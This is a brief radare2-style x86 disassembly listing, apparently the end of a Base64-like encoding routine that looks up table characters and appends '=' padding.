jle 0x2a81be4e
cmp dword [0x2a91fadc], 0x10
mov eax, dword [0x2a91fac8]
jae 0x2a81be31
mov eax, 0x2a91fac8
movzx ecx, byte [ebp + edi - 0x14]
mov al, byte [ecx + eax]
mov ecx, dword [ebp + 8]
mov byte [ebp + 0x10], al
push dword [ebp + 0x10]
push 1
call fcn.2a83ed5f
inc edi
cmp edi, ebx
jl 0x2a81be1e
push 3
pop edi
cmp esi, edi
jge 0x2a81be66
sub edi, esi
mov ecx, dword [ebp + 8]
push 0x3d
push 1
call fcn.2a83ed5f
dec edi
jne 0x2a81be57
mov edi, dword [ebp + 8]
mov eax, edi
call fcn.2a801635
ret